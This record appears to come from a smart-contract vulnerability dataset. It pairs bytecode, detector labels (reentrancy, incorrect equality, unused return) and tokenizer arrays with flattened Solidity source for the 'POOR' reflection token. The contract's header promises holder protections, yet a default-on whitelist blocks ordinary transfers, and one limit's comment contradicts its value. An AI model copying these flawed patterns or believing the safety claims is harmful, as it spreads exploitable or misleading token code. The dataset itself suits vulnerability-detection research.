7f6f74207375636365656400000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60208082526036908201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60408201527f20746f206e6f6e2d7a65726f20616c6c6f77616e636500000000000000000000606082015260800190565b90815260200190565b9182521515602082015260400190565b92835260208301919091521515604082015260600190565b600082198211156127ee576127ee6128cb565b500190565b60008261280e57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561282d5761282d6128cb565b500290565b600082821015612844576128446128cb565b500390565b60005b8381101561286457818101518382015260200161284c565b83811115610af55750506000910152565b60028104600182168061288957607f821691505b602082108114156128aa57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156128c4576128c46128cb565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461174657600080fdfea2646970667358221220eb5bcde6f8ab01d79c5fc19871d7d68c848cb769b0971cfb2319365b60f8031a64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2546, 15136, 2050, 2575, 7959, 2683, 2497, 23833, 15878, 2581, 15878, 2497, 2581, 4402, 24594, 2620, 2546, 23352, 2581, 17465, 2581, 2487, 27717, 20952, 2497, 2581, 2050, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 21183, 12146, 1013, 3647, 2121, 2278, 11387, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,533
0x96f29330bace95ea569928a8d74e6b1b49283edb
// File: uniswap/uniswap.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: github/OpenZeppelin/openzeppelin-contracts/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: github/OpenZeppelin/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: github/OpenZeppelin/openzeppelin-contracts/contracts/GSN/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: github/OpenZeppelin/openzeppelin-contracts/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/poorquacketh.sol /* POOR Quack ETH 10% buy tax 12% sell tax Buy and sell taxes CANNOT be changed above 12%, they can only be changed to be lower, this feature protects holders against dev raising taxes So taxes cannot be increased past launch amounts, only decreased Max hold amount is 2 trillion at launch, cannot be decreased to protect holders Max transaction amount is 1.2 trillion at launch, cannot be decreased to protect holders These can be increased but not decreased, this protects holders against a honeypot All of the above protections ensure the devs cannot change the token into a honeypot. */ pragma solidity ^0.6.2; contract POOR is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => bool) public _whitelistedUsers; mapping (address => uint256) public _rOwned; mapping (address => uint256) public _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 constant private _tTotal = 100000000000000000000000000000000; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = 'Poor Quack'; string private constant _symbol = 'POOR'; uint8 private constant _decimals = 18; address payable public _wMarketing = 0x36E58a20C7b96B3503Dc9F2c6aba3af1f4876c83; //buy tax uint256 public _maxBuyTax = 12; // max 12% total buy tax uint256 public _currentBuyTax = 10; // 10% total buy tax uint256 public _totalBuyTax = 10; // 10% total buy tax uint256 private _previousRefBuyTax = _totalBuyTax; //sell tax uint256 public _maxSellTax = 12; // max 12% total buy tax uint256 public _currentSellTax = 12; // 12% total sell tax uint256 public _totalSellTax = 12; // 12% total sell tax uint256 private _previousRefSellTax = _totalSellTax; //breakup of 10% tax uint256 public _refPer = 0; // 0% for reflection //use percentage function so value is different to refPer, these values are after reflection has been done. //reflection is zero, but can be changed in the future. uint256 public _autoLiqPer = 2000; // 20% auto liqudity, marketing takes the remaining %, in this case 100-20 == 80% uint256 public _tokensCollectedAllTime; uint256 public _ethCollectedAllTime; uint256 public _liqAllTime; uint256 public _marketingAllTime; uint256 public _maxHoldAmount = 2000000000000000000000000000000; // 2.0 trillion uint256 public _maxTransAmount = 1300000000000000000000000000000; // 1.2 trillion uint256 public _minTokensForLiquidity = 30000000000000000000000000000; // 30 billion bool public _AutoTaxEnabled = false; bool public _lockLiquiditiesEnabled = false; bool public _timelock_enabled = false; bool public _whitelist_enabled = true; bool _inLockLiquidities; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; enum Functions { BUYTAX, SELLTAX, SETMARK, REF, AUTOLIQPER, MINLIQ, MAXHOLD, MAXTX, AUTOTAXENABLED, LIQENABLED, EXC, INC, MARKFALL, SETROUT} uint256 private constant _TIMELOCK = 2 days; mapping(Functions => uint256) public timelock; modifier notLocked(Functions _fn) { require(!_timelock_enabled || timelock[_fn] != 0 && timelock[_fn] <= block.timestamp, "Function is timelocked"); _; } modifier lockLiquidities{ _inLockLiquidities = true; _; _inLockLiquidities = false; } constructor () public { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); //set the rest of the contract variables uniswapV2Router = _uniswapV2Router; _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } //to recieve BNB from uniswapV2Router when swapping receive() external payable {} function name() public pure returns(string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function removeTax() private { if(_totalBuyTax == 0) return; _previousRefBuyTax = _totalBuyTax; _totalBuyTax = 0; if(_totalSellTax == 0) return; _previousRefSellTax = _totalSellTax; _totalSellTax = 0; } function restoreTax() private { _totalBuyTax = _previousRefBuyTax; _totalSellTax = _previousRefSellTax; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() notLocked(Functions.EXC) { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); timelock[Functions.EXC] = 0; } function includeAccount(address account) external onlyOwner() notLocked(Functions.INC) { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; uint256 currentRate = _getRate(); _rOwned[account] = _tOwned[account].mul(currentRate); _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } timelock[Functions.INC] = 0; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!_isExcluded[sender]) { require(amount <= _maxTransAmount, "Transfer amount exceeds the maxTransAmount."); } //check if whitelist is enabled if so only allow whitelisted users to transfer if(_whitelist_enabled) { require(_isWhitelisted(sender), "You are not whitelisted, try again in 10 mins"); } if(_AutoTaxEnabled && !_inLockLiquidities && sender != uniswapV2Pair) { _doTokenomics(); } if(_isExcluded[sender] || _isExcluded[recipient]) { removeTax(); } else { if (_isBuy(sender)) { uint256 recipient_balance = balanceOf(address(recipient)); uint256 recipient_new_balance = recipient_balance.add(amount); require(recipient_new_balance <= _maxHoldAmount, "Transfer amount exceeds the maxHoldAmount."); } } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(_isExcluded[sender] || _isExcluded[recipient]) { restoreTax(); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { uint256 newTFee = tFee.mul(_refPer).div(100); uint256 newRFee = rFee.mul(_refPer).div(100); uint256 tContractFee = tFee.sub(newTFee); uint256 rContractFee = rFee.sub(newRFee); _tOwned[address(this)] = _tOwned[address(this)].add(tContractFee); _rOwned[address(this)] = _rOwned[address(this)].add(rContractFee); _rTotal = _rTotal.sub(newRFee); _tFeeTotal = _tFeeTotal.add(newTFee); } function _getValues(uint256 tAmount) private view returns (uint256, 